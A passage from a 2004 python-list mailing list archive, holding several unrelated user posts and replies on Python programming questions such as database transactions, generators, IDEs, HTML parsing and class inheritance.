PyList_SET_ITEM(argseq, i, Py_BuildValue("")); } just after your argseq = PyList_New(len); and you should be fine with PySequence_whateveryouwish now. Alex From andre at vandervlies.xs4all.nl Mon Sep 6 17:25:25 2004 From: andre at vandervlies.xs4all.nl (Andre van der Vlies) Date: Mon, 06 Sep 2004 21:25:25 +0000 Subject: Diffs for HTMLgen... Message-ID: <413cb2bd$0$125$e4fe514c@dreader6.news.xs4all.nl> A new set.... -------------- next part -------------- A non-text attachment was scrubbed... Name: HTMLgen.patch Type: text/x-patch Size: 5433 bytes Desc: not available URL: <http://mail.python.org/pipermail/python-list/attachments/20040906/2df5728a/attachment.bin> From alban at magproductions.nl Mon Sep 27 10:17:58 2004 From: alban at magproductions.nl (Alban Hertroys) Date: Mon, 27 Sep 2004 16:17:58 +0200 Subject: Psycopg; How to detect row locking? In-Reply-To: <m3655z2575.fsf@g2ctech.com> References: <cj8u7f$6hh$1@netlx020.civ.utwente.nl> <m3y8iv3npy.fsf@g2ctech.com> <415811D2.7070408@magproductions.nl> <m3655z2575.fsf@g2ctech.com> Message-ID: <41582116.4090605@magproductions.nl> Jorge Godoy wrote: >>I think the rows are locked because the inserts haven't finished >>inserting yet. The select takes place in the same session AFAIK, but not >>in the same thread of my Python application. I'm probably looking at a >>race condition here... (Ain't multithreading fun...) > > If there's no data then a SELECT would return nothing at all, without > any error after all you're querying the database for some information > that doesn't exist. You're right. I thought I had finally found the problem, but apparently I'll have to look further :( >>I'm also not sure whether I'm actually looking at the same transaction. >>Is there a way to verify such? > > You have to look at psycopg's docs. I use pyPgSQL here. I'm afraid that documentation on psycopg is rather scarce. The most enlightening is the documentation of DBAPI 2.0, but that's not specific to the psycopg implementation of course. >>I do know for certain that all transactions use the same database >>connection (I pass it along in a context object, together with config >>settings and debugging methods). And I'm also quite sure that it doesn't >>commit in between. > > You would benefit a lot of transactions if you are inserting a lot of > data or if there's some relationship between data (and constraints and > triggers and ... at the database). The INSERT isn't commited until you > issue a COMMIT. Any SELECT before that will return nothing. If you're > not using transactions, then you are hitting the disk for each and every > command. I've made some tests here and the difference goes from some > seconds (with transactions) to several minutes (without transactions) > for a 65k rows insert on an old project we did. Not to mention the possibility to rollback if a query in the transaction fails. I'm so glad I didn't choose for something crude like MySQL ;) > They use MVCC: Multi-Version Concurrency Control. You might want to > read about it: > > http://www.linuxgazette.com/issue68/mitchell.html > http://www.developer.com/open/article.php/877181 Actually I did know that, I just forgot to remember ;). I used to work with Oracle, and it works sort of the same way. Thanks for the help, I'll have to find a better culprit. Alban. From peter at engcorp.com Tue Sep 21 09:15:20 2004 From: peter at engcorp.com (phansen) Date: Tue, 21 Sep 2004 09:15:20 -0400 Subject: Why not FP for Money? In-Reply-To: <mailman.3640.1095771405.5135.python-list@python.org> References: <cc887c1d.0409202325.76ec2227@posting.google.com> <mailman.3640.1095771405.5135.python-list@python.org> Message-ID: <Y5CdnWNVNKb0tM3cRVn-pQ@powergate.ca> Carlos Ribeiro wrote: > On 21 Sep 2004 00:25:25 -0700, Chris Barker <barkmann at gmail.com> wrote: >>If you were to use FP, you could have your IEEE 754 hardware do the >>rounding for you, and get better performance to boot. > ... > There is another potential problem: I think that the biggest benefits > of the IEEE754 hardware would come with complex operations that are > directly supported by the hardware. For simple tasks that make the > bulk of money-handling code -- sums and multiplications -- integer > based code is probably as fast or faster, even with all the checks and > the scaling. This is a good point, Carlos. Although I don't know the speed of current floating point hardware versus the integer opcodes, it was certainly the case in the past that, while the floating point hardware would give you a performance boost for floating point math, *it was still slower than the CPU at integer math*. Even if it doesn't now (which seems unlikely), choosing a path that has greater performance but which has inherent problems is a case of premature optimization of the worst kind... -Peter From sean.berry2 at cox.net Tue Sep 14 00:00:14 2004 From: sean.berry2 at cox.net (news.west.cox.net) Date: Mon, 13 Sep 2004 21:00:14 -0700 Subject: Easy question on opening a file References: <3_t1d.296421$Oi.201894@fed1read04> Message-ID: <B0u1d.296422$Oi.224867@fed1read04> "news.west.cox.net" <sean.berry2 at cox.net> wrote in message news:3_t1d.296421$Oi.201894 at fed1read04... >I want to check a directory, see if there are any files in it... then open >each one and do something. > > I have this... > > files = os.listdir('/direcory') > if len(files) > 0: > for file in files: > f1 = file(file, "r") > do some other stuff Figured out my mistake already.... 2 minutes later. I should not be using the word file, which is a python keyword. > > But this raises a TypeError: > TypeError: 'str' object is not callable > > So I tried replacing the line f1 = file(file, "r") with f1 = file('%s' > %file, "r") > But that does not work either. > > I know this is easy, anyone care to point out the solution. > > Thanks. > > -- > > > Sean Berry ~ Internet Systems Programmer > BuildingOnline Inc. > The Building Industry's Web Design and Marketing Agency > Celebrating our 9th year in business, founded Aug. 1995 > Ph: 888-496-6648 ~ Fax: 949-496-0036 > --> Web Design Agency site: http://www.BuildingOnline.net > --> Building Industry Portal: http://www.BuildingOnline.com > --> Building Industry News: http://www.BuildingOnline.com/news/ > --> Home Plans: http://www.eHomePlans.com > From gerrit at nl.linux.org Mon Sep 20 15:05:29 2004 From: gerrit at nl.linux.org (Gerrit) Date: Mon, 20 Sep 2004 21:05:29 +0200 Subject: new python book!! In-Reply-To: <20040920170601.65899.qmail@web61204.mail.yahoo.com> References: <20040920170601.65899.qmail@web61204.mail.yahoo.com> Message-ID: <20040920190529.GA7604@nl.linux.org> vegetax vegetax wrote: > I think we need more updated python books, most of > them are from version 2.1 or 2.2 , if you have some > other book covering python 2.3, post the link here. Learning Python, 2nd edition (Amazon) also covers 2.3 I think. Gerrit. -- Weather in Twenthe, Netherlands 20/09 20:25: 15.0?C wind 7.6 m/s SSW (57 m above NAP) -- Gerrit Holl - 2nd year student of Applied Physics, Twente University, NL. Experiences with Asperger's Syndrome: EN http://topjaklont.student.utwente.nl/english/ NL http://topjaklont.student.utwente.nl/ From peter at engcorp.com Fri Sep 10 16:50:19 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 10 Sep 2004 16:50:19 -0400 Subject: What's the Pythonic way to do this? In-Reply-To: <e08cd05f.0409101235.50b1f8f3@posting.google.com> References: <e08cd05f.0409101235.50b1f8f3@posting.google.com> Message-ID: <qcOdnYlYFO0Wjt_cRVn-tQ@powergate.ca> Doug Rosser wrote: > class Cycle(object): > > def __init__(self, inputList): > object.__init__(self) > self.index = 0 > self.limit = len(inputList) > self.list = inputList > > def next(self): > """ > returns the next element of self.list, jumping > back to the head of the list if needed. > Yes, this is an infinite loop. (Use with caution) > Arguments: > none > Returns: > the next element of self.list > """ > if self.index+1 < self.limit: > self.index+=1 > return self.list[self.index-1] > else: > self.index=0 > return self.list[self.limit-1] I think this is spelled like this now: import itertools mycycle = itertools.cycle(inputList) -Peter From lbates at syscononline.com Thu Sep 30 13:56:12 2004 From: lbates at syscononline.com (Larry Bates) Date: Thu, 30 Sep 2004 12:56:12 -0500 Subject: idiom for debug code? In-Reply-To: <y6SdnUz8sr673sHcRVn-gA@rogers.com> References: <y6SdnUz8sr673sHcRVn-gA@rogers.com> Message-ID: <wfmdnXvIef4v1cHcRVn-vQ@comcast.com> Dan Perl wrote: > Is there a mechanism or an idiom for adding code for debugging so that it > can easily be removed in the production code? I am thinking of something > similar to the C/C++ preprocessor statements with which you can compile an > application with the debug code or without it (the default). > > Dan > > Personally I think you should consider NOT removing the debugging code. It never ceases to amaze me how many times I must have a client run the application with debug set so that the program logs details about the running process and intermediate results. The output logfile can then be easily emailed, faxed, etc. to me so that I can determine what is REALLY the problem. The overhead of these if _debug: "type" statements seems incredibly low compared to the ability to get this information when needed. Just some thoughts based on my experience of the last 30+ years. Larry Bates Syscon, Inc. From carribeiro at gmail.com Fri Sep 24 11:40:36 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Fri, 24 Sep 2004 12:40:36 -0300 Subject: theme of the week: tools In-Reply-To: <41542230.3070808@bellsouth.net> References: <mailman.3802.1095960335.5135.python-list@python.org> <QcudnRef363plc7cRVn-vg@powergate.ca> <41542230.3070808@bellsouth.net> Message-ID: <864d3709040924084034d8301a@mail.gmail.com> I was one of the frequent posters on the many tools/ides/gui threads that appeared here over the past weeks. I'm now partly satisfied. My search for a good IDE that is usable in my lowend machine is still not completed. But I found a good setup using a free editor and PythonWin working together. I'm using Crimson Editor, a small freeware editor. The most interesting part is that it isn't the most featured of all editors I've tried; it isn't as powerful as vi or emacs, but has one feature that I wanted the most, that is a fairly simple project management tool. It simply allows me to organize a list of files that I'm using for a project on the left pane. I can click on a file to open it. It's amazingly useful when you're dealing with "hot" files stored on several different directories, and you don't have to remember where is it located, or to manually walk the open file dialog looking for it. I'm using PythonWin for testing, mostly because the Windows console is so braindead, and because PythonWin help is quick well organized (it's about the same that you find in the web, but a little bit more convenient). I'm also evaluating Wing IDE 2.0; I had a few issues with it that were solved, but for some tasks I found it too heavy for my limited resources. Anyway, I'm keeping an eye on it. -- http://mail.python.org/mailman/listinfo/python-list -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From lbates at swamisoft.com Tue Sep 7 14:07:28 2004 From: lbates at swamisoft.com (Larry Bates) Date: Tue, 7 Sep 2004 13:07:28 -0500 Subject: Memory Error while constructing Compound Dictionary References: <ccdb2248.0409070947.7f9e94ec@posting.google.com> Message-ID: <To-dnUrE-4nZZqDcRVn-hw@comcast.com> You are asking Python to create 125,000,000 (yes that's 125 million) empty dictionaries. The hash (key) of the dictionary takes up at least a couple of bytes, plus the amount of space taken up by an empty dictionary object at each entry (125 million of them). I'm not surprised, adds up pretty quickly. HTH, Larry Bates Syscon, Inc. "Benjamin Scott" <mynewjunkaccount at hotmail.com> wrote in message news:ccdb2248.0409070947.7f9e94ec at posting.google.com... > Hello. > > I attempted to build a compound dictionary: > > len(Lst)=1000 > len(nuerLst)=250 > len(nuestLst)=500 > > Dict={} > > for s in Lst: > Dict[s]={} > > for s in Lst: > for t in nuerLst: > Dict[s][t]={} > > for s in Lst: > for t in nuerLst: > for r in nuestLst: > Dict[s][t][r]={} > > > > I got the following error: > > Traceback (most recent call last): > File "<pyshell#89>", line 5, in -toplevel- > Dict[s][t][r]=[] > MemoryError > > > Specs: > > Python 2.3.4 > XPpro > 4 GB RAM > > > Python was utilizing 2.0 GB when the error was generated. I have > attempted this task twice with different data sets. I got the same > error both times. > > Thanks in advance for your feedback, > > Benjamin Scott From ben at benlast.com Thu Sep 23 03:11:15 2004 From: ben at benlast.com (Ben Last) Date: Thu, 23 Sep 2004 08:11:15 +0100 Subject: Parsing HTML In-Reply-To: <jmj5q0gv1g1k$.dlg@morateknikutveckling.se> Message-ID: <HLEGKHKIKMEHENBAEIEPKEIOCJAA.ben@benlast.com> There are several HTML parsers, but many (including me) speak well of Beautiful Soup; it doesn't try to check for correctness or do any validation, it just parses the HTML. http://www.crummy.com/software/BeautifulSoup/ ben > -----Original Message----- > From: python-list-bounces+ben=benlast.com at python.org > [mailto:python-list-bounces+ben=benlast.com at python.org]On Behalf Of > Anders Eriksson > Sent: 23 September 2004 07:42 > To: python-list at python.org > Subject: Parsing HTML > > > Hello! > > I want to extract some info from a some specific HTML pages, Microsofts > International Word list (e.g. > http://msdn.microsoft.com/library/en-us/dnwue/html/swe_word_list.htm). I > want to take all the words, both English and the other language and create > a dictionary. so that I can look up About and get Om as the answer. > > How is the best way to do this? > > Please help! > > // Anders > -- > http://mail.python.org/mailman/listinfo/python-list From scook at elp.rr.com Sat Sep 4 16:38:23 2004 From: scook at elp.rr.com (Stan Cook) Date: Sat, 04 Sep 2004 20:38:23 GMT Subject: Dbase Connection Message-ID: <3Jp_c.15967$Xi.2705@fe1.texas.rr.com> Does anyone know how or what I can use to open, read and extract data from a dbase database? I haven't found anything of much use with accompanying documentation. From donn at u.washington.edu Thu Sep 9 16:07:13 2004 From: donn at u.washington.edu (Donn Cave) Date: Thu, 09 Sep 2004 13:07:13 -0700 Subject: Is except: ... pass bad style? References: <pan.2004.09.09.16.26.16.985806@python.net> <m33c1rcrxg.fsf@pc150.maths.bris.ac.uk> Message-ID: <donn-28AD1A.13071309092004@gnus01.u.washington.edu> In article <m33c1rcrxg.fsf at pc150.maths.bris.ac.uk>, Michael Hudson <mwh at python.net> wrote: ... > Well, > > try: > meth = myobj.method > except AttributeError: > pass > else: > meth() > > is possibly better (your version might hide bugs in the method). It's > a pain to do this all the time, though. > > Come to think of it > > getattr(myobj, "method", lambda :None)() > > also acheives the same thing. Bit inscrutable, though. Along the same lines, if hasattr(myobj, 'method'): myobj.method() That's not uncommon usage, and has the advantage of more directly and economically saying what the try/except block is trying to say. Donn Cave, donn at u.washington.edu From __peter__ at web.de Sun Sep 5 14:02:37 2004 From: __peter__ at web.de (Peter Otten) Date: Sun, 05 Sep 2004 20:02:37 +0200 Subject: Lager'd Statistics on language migration References: <2ae25c6b.0409050132.4ce24330@posting.google.com> <Xns955BC8D9DD29Ccpl19ghumspamgourmet@195.20.224.116> Message-ID: <chfkbt$k0j$03$1@news.t-online.com> Harald Massa wrote: > Paddy, > > what google do you google? > > I just checked out one number: > > "perl to python migration" 785 > > giving me > > Ergebnisse 11 - 20 von ungef?hr 87.100 f?r perl to python migration. (0,20 > Sekunden) > > (on english: google found around 87.100 entries for "perl to python > migration") He searched for "perl to python migration" _with_ the quotes, you _without_ and therefore you got many hits containing the words "perl", "python" and "migration" ("to" is excluded because it is too common) but not the phrase "perl to python migration", i. e. "python to perl migration" would be a hit, too. > the dark side is that most deal with one book of this title You are right here... Peter From dperl at rogers.com Thu Sep 2 23:40:04 2004 From: dperl at rogers.com (Dan Perl) Date: Fri, 03 Sep 2004 03:40:04 GMT Subject: Recursive Generator Question References: <6543373d.0409021839.5caff11d@posting.google.com> Message-ID: <oIRZc.177509$UTP.79883@twister01.bloor.is.net.cable.rogers.com> Why do you define __iter__? And Node.next is your generator function, so you have to invoke it, it's not invoked implicitly. You are not creating an iterator yourself, the generator function returns one for you. That iterator has a next( ) method and that's what's getting called to iterate through the tree. So there is no need to actually name the generator function in your class "next", you can name it anything. BTW, here is the definition for generator functions: http://docs.python.org/ref/types.html#l2h-90 Here is the way I think your code should be with minimal changes (I put in comments for the changes): class Node: def __init__(self, data=None, left=None, right=None): self.children = [] self.children.append(left) self.children.append(right) self.data = data # Got rid of the __iter__ method def next(self): """Generator function""" # Better description if self.data: yield self else: for child in self.children: for terminal in child.next(): # Changed child to child.next() yield terminal if '__main__'==__name__: a = Node('a') b = Node('b') c = Node('c') d = Node('d') ab = Node(left=a, right=b) cd = Node(left=c, right=d) abcd = Node(left=ab, right=cd) for termNodes in abcd.next(): # Changed abcd to abcd.next() print termNodes.data # no error Dan "Paul Chiusano" <pchiusan at umich.edu> wrote in message news:6543373d.0409021839.5caff11d at posting.google.com... > I've been playing around with generators and have run into a > difficulty. Suppose I've defined a Node class like so: > > class Node: > def __init__(self, data=None, left=None, right=None): > self.children = [] > self.children.append(left) > self.children.append(right) > self.data = data > > def __iter__(self): return self > > def next(self): > """ Returns iteration over terminal nodes of this tree. """ > if self.data: > yield self > else: > for child in self.children: > for terminal in child: > yield terminal > > > And then suppose I create a little binary tree like so: > > a = Node('a') > b = Node('b') > c = Node('c') > d = Node('d') > ab = Node(left=a, right=b) > cd = Node(left=c, right=d) > abcd = Node(left=ab, right=cd) > > for termNodes in abcd: > print termNodes.data # gives an error > > when I do this, I get the following error: > Traceback (most recent call last): > File "C:\Documents and Settings\Paul > Chiusano\workspace\sandbox\hello.py", line 69, in ? > print termNodes.data > AttributeError: 'generator' object has no attribute 'data' > > For some reason, that iteration is returning generators instead of > leaves. Curiously, if I replace that for loop with > > for termNodes in terminals(abcd): # see definition below > print termNodes.data # no problem! > > then it actually prints out: > a > b > c > d > > Here's the definition of terminals--pretty much identical to next. > > def terminals(t): > """ Returns an iteration over the leaves of a tree, t """ > if t.data: # if I have data, then I'm a terminal node > yield t > else: > for child in t.children: > for terminal in terminals(child): > yield terminal > > Am I missing something? Or is it not possible to define recursive > generators in this way? > > Thanks, > Paul From fperez528 at yahoo.com Fri Sep 24 20:08:20 2004 From: fperez528 at yahoo.com (Fernando Perez) Date: Fri, 24 Sep 2004 18:08:20 -0600 Subject: theme of the week: tools References: <mailman.3802.1095960335.5135.python-list@python.org> <QcudnRef363plc7cRVn-vg@powergate.ca> <41542230.3070808@bellsouth.net> <mailman.3864.1096040439.5135.python-list@python.org> Message-ID: <cj2ctk$kl1$1@peabody.colorado.edu> Carlos Ribeiro wrote: > I'm using PythonWin for testing, mostly because the Windows console is > so braindead, and because PythonWin help is quick well organized (it's > about the same that you find in the web, but a little bit more > convenient). <blatant plug> You may want to try ipython (http://ipython.scipy.org). It gives you under Windows (or linux, or OSX) colored tracebacks, tab-completion, directory management, integrated pdb loading on uncaught exceptions, profiler support, and quite a bit more. I don't use windows, but under linux my development setup is Xemacs+ a terminal with ipython running. Thanks to ctypes and UNCreadline, you get exactly the same functionality under windows (along with your editor of choice). I honestly find it to be a _very_ efficient setup. </plug> Cheers, f From walter at livinglogic.de Tue Sep 14 06:01:29 2004 From: walter at livinglogic.de (=?ISO-8859-1?Q?Walter_D=F6rwald?=) Date: Tue, 14 Sep 2004 12:01:29 +0200 Subject: Small inconsistency between string.split and "".split In-Reply-To: <864d370904091311095be3e08c@mail.gmail.com> References: <mailman.3241.1095094663.5135.python-list@python.org> <LJSdnepvP_vbSdjcRVn-hg@powergate.ca> <864d370904091310411a2cf435@mail.gmail.com> <20040913175927.GB4646@siliconimage.com> <864d370904091311095be3e08c@mail.gmail.com> Message-ID: <4146C179.5000404@livinglogic.de> Carlos Ribeiro wrote: > On Mon, 13 Sep 2004 10:59:27 -0700, Inyeol Lee <inyeol.lee at siimage.com> wrote: > >>I think "None" trick was documented here since string method was >>introduced. > > I got it now. The problem is that I had just read the docstring -- > yes, not the manual, and admit it, it was lazyness of my part ;-) But > anyway... the keyword parameter handling is inconsistent, *and* the > docstring could mention something about sep="None". I've fixed the docstring for both unicode.split() and string.split() to give a hint about the None default. Note that the docstring for str.split() already *did* mention the None option. Bye, Walter D?rwald From rkern at ucsd.edu Thu Sep 16 08:05:03 2004 From: rkern at ucsd.edu (Robert Kern) Date: Thu, 16 Sep 2004 05:05:03 -0700 Subject: python: ascii read In-Reply-To: <cibndt$p2v$1@fsuj29.rz.uni-jena.de> References: <cibndt$p2v$1@fsuj29.rz.uni-jena.de> Message-ID: <cibvhf$qrh$1@news1.ucsd.edu> Sebastian Krause wrote: > Hello, > > I tried to read in some large ascii files (200MB-2GB) in Python using > scipy.io.read_array, but it did not work as I expected. The whole idea > was to find a fast Python routine to read in arbitrary ascii files, to > replace Yorick (which I use right now and which is really fast, but not > as general as Python). The problem with scipy.io.read_array was, that it > is really slow, returns errors when trying to process large files and it > also changes (cuts) the files (after scipy.io.read_array processed a 2GB > file its size was only 64MB). > > Can someone give me hint how to use Python to do this job correctly and > fast? (Maybe with another read-in routine.) What kind of data is it? What operations do you want to perform on the data? What platform are you on? Some of the scipy.io.read_array behavior that you see look like bugs. We would greatly appreciate it if you were to send a complete bug report to the scipy-dev mailing list. Thank you. -- Robert Kern rkern at ucsd.edu "In the fields of hell where the grass grows high Are the graves of dreams allowed to die." -- Richard Harter From vincent at visualtrans.de Sat Sep 18 12:07:15 2004 From: vincent at visualtrans.de (vincent wehren) Date: Sat, 18 Sep 2004 18:07:15 +0200 Subject: win32api.SetCursorPos() question In-Reply-To: <10kol21ah3ulpcc@corp.supernews.com> References: <10kol21ah3ulpcc@corp.supernews.com> Message-ID: <cihmfj$3r8$1@news5.zwoll1.ov.home.nl> Gary Richardson wrote: > I'm trying to use win32api.SetCursorPos() to position the cursor in a > Tkinter canvas window. I.e.: > > from Tkinter import * > import win32api > root = Tk() > canvas = Canvas(root, width=400, height=300, bg='white') > canvas.pack() > win32api.SetCursorPos(100,100) > root.mainloop() > > But this code produces: > > Traceback (most recent call last): > File > "C:\Python22\Lib\site-packages\Pythonwin\pywin\framework\scriptutils.py", > line 301, in RunScript > exec codeObject in __main__.__dict__ > File "C:\My Documents\Python\Ascii\Script4.py", line 6, in ? > win32api.SetCursorPos(100,100) > TypeError: SetCursorPos() takes exactly 1 argument (2 given) > > Am I using this function incorrectly? A search on Google didn't turn up much > but I did find one bit of code in which it was used in this manner. > > I suspect there may be other problems with this approach so any further > comments will be appreciated also. I'm using ActivePython 2.2.2 build 224 on > Win98SE. > Different then what the docs say, this function seems to want a tuple as argument. See if win32api.SetCursorPos((100,100)) does the trick. -- Vincent Wehren > Thanks, > Gary Richardson > > > > > > From bokr at oz.net Wed Sep 29 13:56:12 2004 From: bokr at oz.net (Bengt Richter) Date: 29 Sep 2004 17:56:12 GMT Subject: os.system vs. Py2Exe References: <81a41dd.0409280200.1a74edd1@posting.google.com> <77ce170c.0409280647.7e98e76d@posting.google.com> <81a41dd.0409281107.5fd1c525@posting.google.com> <4159b868$0$99417$a1866201@newsreader.visi.com> <cjcsu9$tda$0$216.39.172.122@theriver.com> <81a41dd.0409282246.3e4e5889@posting.google.com> Message-ID: <cjesvs$4uj$0$216.39.172.122@theriver.com> On 28 Sep 2004 23:46:34 -0700, export at hope.cz (Lad) wrote: [...] >.txt file is associated with a propper application( Notepad.txt). AS I >said above, with os.startfile the file is open in Notepad.txt but not >if I use os.system. I can not use os.startfile, because it does not >wait until .txt file is closed Just curious, what happened when you tried specifying the full absolute path to your .txt file when calling os.system? e.g. filename = 'something.txt' # for example os.system(os.path.abspath(filename)) ? Regards, Bengt Richter From carribeiro at gmail.com Fri Sep 3 08:31:07 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Fri, 3 Sep 2004 09:31:07 -0300 Subject: Are decorators really that different from metaclasses... In-Reply-To: <ch9hls$600$1@sea.gmane.org> References: <e69d3ed204082608183634bab@mail.gmail.com> <cglg26$ehg$3@sea.gmane.org> <e69d3ed2040827083448c31d45@mail.gmail.com> <mailman.2548.1093646396.5135.python-list@python.org> <cgosmb$ki0$0$216.39.172.122@theriver.com> <mailman.2562.1093697125.5135.python-list@python.org> <HBF.20040901iia9@bombur.uio.no> <ch5mkq$tb1$1@sea.gmane.org> <20040902024221.GA3626@unpythonic.net> <ch6umj$74i$1@sea.gmane.org> <20040902134641.GE24397@unpythonic.net> <loom.20040902T173546-648@post.gmane.org> <e69d3ed204090302065c15e0a1@mail.gmail.com> <ch9hls$600$1@sea.gmane.org> Message-ID: <864d3709040903053113fa8ae9@mail.gmail.com> As for the actual idea, I don't like it. Jeff Shannon put it our perfectly -- it violates the "law of the least surprise". Just as a comparison, imagine the following scenario: a common naming convention is to use full uppercase names for constants. Of course, there are no real constants in Python, so we know its just a naming convention. What if the grammar was changed to turn uppercase names into real constants? Many of the arguments used in this discussion apply here as well. It's easy to see that it's not a good idea. p.s. As for the discussion itself... [Paul Morrow] > [Anthony Baxter] > > I stand by my earlier comments that this is all just hand-waving and > > fluff. There's been little concrete effort by Paul to actually spell > > out his proposal. > > I thought that you were done with this thread. You probably should be > as you obviously can't follow what we're talking about here. Most of > the others seem to. They don't agree with me, that's clear. But they > do appear to understand what I am proposing. You have to bear in mind that your proposal is not the first such idea to pop up in existence in this mailing list over the years. And most of the time, the idea is beaten up to death, exhausting everyone in the process, until one of the sides just gets too tired to keep fighting. In some cases, the idea may come up as a winner, but is the cost really worth it? -- Carlos Ribeiro http://pythonnotes.blogspot.com carribeiro at gmail.com From phil at riverbankcomputing.co.uk Wed Sep 22 13:33:23 2004 From: phil at riverbankcomputing.co.uk (Phil Thompson) Date: Wed, 22 Sep 2004 18:33:23 +0100 Subject: ANN: PyQt v3.13 Released Message-ID: <200409221833.23326.phil@riverbankcomputing.co.uk> Riverbank Computing is pleased to announce the release of PyQt v3.13 available from http://www.riverbankcomputing.co.uk/. Changes since the last release include support for the QUuid, QMetaObject and QMetaProperty classes. PyQt is a comprehensive set of Qt bindings for the Python programming language and supports the same platforms as Qt. Like Qt, PyQt is available under the GPL (for UNIX, Linux and MacOS/X), a commercial license (for Windows, UNIX, Linux and MacOS/X) and a free educational license (for Windows). PyQt is implemented as a set of 9 extension modules containing 300 classes and over 5,750 functions and methods. PyQt also includes bindings to QScintilla, the port to Qt of the Scintilla editor component. PyQt can be used either as a rapid prototyping tool, or as an alternative to C++ for developing large Qt applications. PyQt includes the pyuic utility which generates Python code to implement user interfaces created with Qt Designer in the same way that the uic utility generates C++ code. Third party tools are also available - such as eric3, a comprehensive IDE (including an editor, debugger, class browser, integration with Qt Designer, re-factoring tools, unit testing tools and integration with source code control systems). eric3 is written entirely using PyQt and is available from http://www.die-offenbachs.de/detlev/eric3.html. From narshe at gmail.com Fri Sep 24 16:28:15 2004 From: narshe at gmail.com (Josh Close) Date: Fri, 24 Sep 2004 15:28:15 -0500 Subject: Module Pygame - "FadeOut" text In-Reply-To: <Xns956EA2C3C476BaskariaddressNonVali@207.35.177.135> References: <Xns956E4F8F8C192askariaddressNonVali@207.35.177.135> <mailman.3868.1096052483.5135.python-list@python.org> <Xns956EA2C3C476BaskariaddressNonVali@207.35.177.135> Message-ID: <4a0cafe2040924132830d9dce3@mail.gmail.com> On Fri, 24 Sep 2004 19:57:53 GMT, Askari <askari at addressnonvalide.com> wrote: > I DON'T WANT use this mail list! I don't want subscribe anythink for > this info! ... News group "comp.lang.python" is the best place that I > find with no subcribtion! > > Understand Terry! (it's not the first time that you send that message) > > And why I can't request info for a third-party package on this group? > It's python, a "third-party package", yes, but it's too python... :-| Why can't you use the pygame mailing list then? http://pygame.org/info.shtml#maillist -Josh From jzheng at jpl.nasa.gov Thu Sep 16 15:56:55 2004 From: jzheng at jpl.nasa.gov (Jason Zheng) Date: Thu, 16 Sep 2004 12:56:55 -0700 Subject: Running scripts without installing Python? In-Reply-To: <cf221c81.0409161114.3a441e@posting.google.com> References: <cf221c81.0409161114.3a441e@posting.google.com> Message-ID: <cicr67$1sq$1@nntp1.jpl.nasa.gov> hepp wrote: > Is it possible to run a Python script in Windows without installing > Python on your machine first? > > At my work we are using a mixed environment - some have Solaris > workstations and others PC's. I have written an application in > wxPython that runs in both Unix and Solaris. For the Unix version I > put an installation of Python on a network drive that everybody can > access, but in Windows everybody has to download Python and wxPython > before they can run the application. > > Is it possible to put a global installation on a network drive in > Windows as well? I tried, but then it complained that it couldn't find > some dll files when I ran the application from another computer. > > I have also tried to compile the application to an executable binary > with py2exe, but it didn't work properly. How about compiling it to binary code? http://starship.python.net/crew/theller/moin.cgi/Py2Exe From aleaxit at yahoo.com Mon Sep 6 11:40:44 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 6 Sep 2004 17:40:44 +0200 Subject: Lager'd Statistics on language migration In-Reply-To: <864d37090409060733cc54023@mail.gmail.com> References: <2ae25c6b.0409050132.4ce24330@posting.google.com> <1gjoo62.k6qgc44zbkjgN%aleaxit@yahoo.com> <864d37090409060733cc54023@mail.gmail.com> Message-ID: <1DB1CE0E-001B-11D9-A6A1-000A95EFAE9E@yahoo.com> On 2004 Sep 06, at 16:33, Carlos Ribeiro wrote: > As for Ruby, it's a different matter. I think that Ruby is a little > farther away from Perl in the language spectrum than Python, but I > have no hard data to back my claim. It's just how I feel about it, and I think that Ruby has so many things in common with Perl -- mutable strings, regular expressions as built-ins rather than a module you need to import, even variable names which can be control characters...! -- that I'd definitely have to consider it far closer to Perl than Python is. Can you point out some specific behavior, some language-design choice, where Ruby is farther away from Perl than Python is? Alex From skip at pobox.com Wed Sep 1 12:05:51 2004 From: skip at pobox.com (Skip Montanaro) Date: Wed, 1 Sep 2004 11:05:51 -0500 Subject: XML documentation stinks - help? In-Reply-To: <ch3fs2$4dc@odbk17.prod.google.com> References: <ch3fs2$4dc@odbk17.prod.google.com> Message-ID: <16693.62303.830147.517562@montanaro.dyndns.org> Simon> I'm trying to evaluate XML on Python (to eventually use it with Simon> XML-RPC) as apposed to Perl. There is no need that I'm aware of to understand how Python deals with XML to use XML-RPC. There is already an xmlrpclib module that hides all XML details from its users, though to speed things up a bit I urge you to install Fredrik Lundh's sgmlop module if you decide to use xmlrpclib. Maybe if you can describe what you mean by "use it with XML-RPC" we can help you avoid XML nitty gritty altogether. Simon> Maybe I'm missing something, but even comp.lang.python.* seems to Simon> have no topics on XML in the past 3 years or so - has XML been Simon> deprecated and I've not heard about it yet?! ;o) XML is no panacea. I'm sure most of the denizens of c.l.py realize that and keep their distance when they can. ;-) Skip From __peter__ at web.de Sat Sep 11 03:08:37 2004 From: __peter__ at web.de (Peter Otten) Date: Sat, 11 Sep 2004 09:08:37 +0200 Subject: How do you make issubclass work References: <52f8effc.0409102054.4bcaa426@posting.google.com> Message-ID: <chu89l$e70$00$1@news.t-online.com> Nathan Bullock wrote: > Okay I have two files: > > a.py: > ----- > class cla_a(object): pass > > class cla_c(object): pass > > if __name__ == "__main__": > mod = __import__("b") # why not import b as mod > attr = getattr(mod, "cla_b") # why not attr = mod.cla_b > print issubclass(attr, cla_a) > print issubclass(cla_c, cla_a) > ----- > > and b.py: > ----- > from a import cla_a > > class cla_b(cla_a): pass > ----- > > now if I do 'python a.py' > it gives me: > False > True Should be: True False > Why is cla_b a subclass and not cla_c? Here you have it right again. That you have two different modules does not affect the class hierarchy. Y is a subclass of X if X can be found in the inheritance tree of Y, i. e. occurs directly in Y's bases >>> class X: pass ... >>> class Y(X): pass ... >>> issubclass(Y, X) True or indirectly in the bases' bases: >>> class X: pass ... >>> class Intermediate(X): pass ... >>> class Y(Intermediate): pass ... >>> issubclass(Y, X) True On the other hand it is not sufficient for a subclass relationship when two classes share a common ancestor: >>> class A: pass ... >>> class B(A): pass ... >>> class C(A): pass ... >>> issubclass(B, C), issubclass(C, B) (False, False) So you can think of subclasses as children and grandchildren, but not as cousins. [As modules are cached, subsequent imports of the same module yield the same module instance. Therefore the 